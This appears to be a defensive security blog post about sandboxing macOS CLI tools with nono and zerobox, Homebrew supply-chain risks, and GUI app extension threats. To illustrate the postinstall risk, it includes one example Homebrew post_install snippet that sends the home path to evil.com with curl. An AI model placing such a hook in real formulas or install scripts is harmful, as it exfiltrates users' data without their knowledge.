Securing host tools with nono

· Tech

TLDR: Helix, lazygit, and other brew-installed tools run with full user permissions. nono can sandbox them on macOS via Seatbelt. GUI apps like Docker Desktop and VS Code cannot be sandboxed on macOS at all. Other mitigations: pin brew versions, build from source, use Nix. The only complete answer is a separate machine.


Docker isolates your dev stack and AI agents. But your host still runs tools with your full permissions. A compromised Homebrew formula could read your Infisical keyring token, your files, and your network.

nono and zerobox: kernel sandboxing for host tools

nono uses macOS Seatbelt and Linux Landlock. zerobox uses Seatbelt and bubblewrap+seccomp. Both can restrict individual CLI tools:

Terminal window
# Helix: project directory only, no network
nono run --allow ~/projects/my-project --net-block -- hx .
# lazygit: project dir + git config
nono run --allow ~/projects/my-project --read ~/.gitconfig -- lazygit
# Same with zerobox (strips all env vars by default)
zerobox --allow-write=. --deny-write=./.git -- hx .

Once applied, nono’s restrictions are irrevocable. zerobox strips env vars by default so the sandbox never sees your shell secrets. A compromised Helix under either tool can only access the directories you allowed. Not your SSH keys, not your keyring, not other projects.

Does not work for GUI apps like Docker Desktop, Slack, or Figma. These need full macOS integration (window manager, accessibility, network). You cannot meaningfully sandbox them with nono or zerobox.

Both tools are young (nono v0.7.0, zerobox v0.1.7). You may hit edge cases. But they fill the gap: kernel-level CLI sandboxing on macOS. See Choosing an AI sandbox for a full comparison.

How brew install can compromise your system

Homebrew formulas can run code during installation, before you ever launch the tool.

Postinstall scripts. A formula can define a post_install block that runs arbitrary code as your user immediately after installation:

# Inside a Homebrew formula
def post_install
# This runs automatically during `brew install`
# with your full user permissions
system "curl", "-s", "https://evil.com/exfil", "-d", ENV["HOME"]
end

Same problem as npm postinstall scripts. The code runs with your permissions, can read your files, access your keyring, and make network requests.

Build scripts. If a formula builds from source, the make or cmake process can execute anything. A compromised upstream repo means brew install runs attacker code.

Bottles (pre-built binaries). Most brew packages install as bottles, pre-compiled binaries built by Homebrew’s CI. You trust that Homebrew’s CI was not compromised and that the binary matches the source. You cannot verify this without building from source.

A package sitting in /opt/homebrew/Cellar/helix/ without being executed cannot do anything on its own. There is no macOS mechanism that auto-runs an installed binary. The damage happens at two moments: during brew install (postinstall scripts, build scripts) and when you run the tool (the binary itself does whatever it wants).

The homebrew-core tap has automated CI and community review. The risk is low for popular packages. Third-party taps (brew tap random-user/repo) have no review at all. Avoid them for anything security-sensitive.

Brew hygiene

Terminal window
# Read the formula before installing
brew cat helix
# Pin tools you depend on daily
brew pin helix lazygit
# Update deliberately, not automatically
brew unpin helix && brew upgrade helix && brew pin helix
# Review before installing anything new
brew info new-tool # check the source repo
brew cat new-tool # read the formula

For maximum confidence, build critical tools from source:

Terminal window
# Helix (Rust)
git clone https://github.com/helix-editor/helix
cd helix && cargo build --release
# lazygit (Go)
git clone https://github.com/jesseduffield/lazygit
cd lazygit && go build

You trust the source code you can read, not a binary someone else compiled.

Use Nix: Reproducible builds with pinned inputs. Smaller attack surface than brew bottles.

Log out of Infisical when not working: infisical logout. A compromised tool running overnight finds an expired session.

Non-App Store GUI apps

Chrome, Firefox, Signal, Docker Desktop, VS Code, Slack are signed .app bundles from known companies. They are safer than random brew packages: code signing prevents tampering, Gatekeeper verifies signatures before first launch, and auto-updates deliver signed binaries. But they still run with your full user permissions. They can read any file your user can read (Documents, SSH keys, dotfiles), write anywhere, and make network requests to any server. The only restrictions are macOS TCC prompts for camera, microphone, screen recording, and a few other categories. For reading ~/.ssh/ or your Infisical keyring, there is no prompt.

The real risks are extensions, not the apps themselves. A malicious Chrome extension can read every page you visit and exfiltrate data. VS Code, Slack, and Discord are Electron apps (Chromium + Node.js), so their extensions have full filesystem access. A compromised VS Code extension is essentially malware with access to your entire machine. Chrome with zero extensions is much safer than Chrome with 15.

Download security-sensitive apps from official sources, not brew cask. brew install --cask signal downloads the same binary but adds an extra trust chain: Homebrew community volunteers maintain the cask formula. If the formula is tampered with, it could point to a different binary. For Signal, 1Password, and browsers, download from the official website. For dev tools where brew is the primary distribution channel (helix, lazygit, jq, ripgrep), brew is fine.

What you can do: minimize browser extensions, use separate browser profiles (one for personal, one for dev), use Little Snitch or Lulu (open-source) to monitor outbound connections, keep everything updated, and review macOS Privacy & Security settings regularly. Revoke Full Disk Access and Accessibility permissions from anything that does not need them.

Summary

Tool typeCan you sandbox it?Main threatBest mitigation
CLI tools (helix, lazygit)Yes, nono or zeroboxCompromised binarySandbox per-project, deny network
Brew packagesPartiallyPostinstall scripts, build scriptsPin versions, build from source, official taps only
Chrome, FirefoxNoExtensions, compromised updatesMinimize extensions, separate profiles
VS Code, Slack (Electron)NoExtensions with full FS accessMinimize extensions, Little Snitch
Signal, 1PasswordNoCompromised update (unlikely)Download from official site, not brew cask
EverythingYes, separate machineThe dual-machine setup

The gap is GUI apps. macOS gives you no way to sandbox Docker Desktop or VS Code. The only complete answer is a separate machine where compromised apps cannot reach your personal data.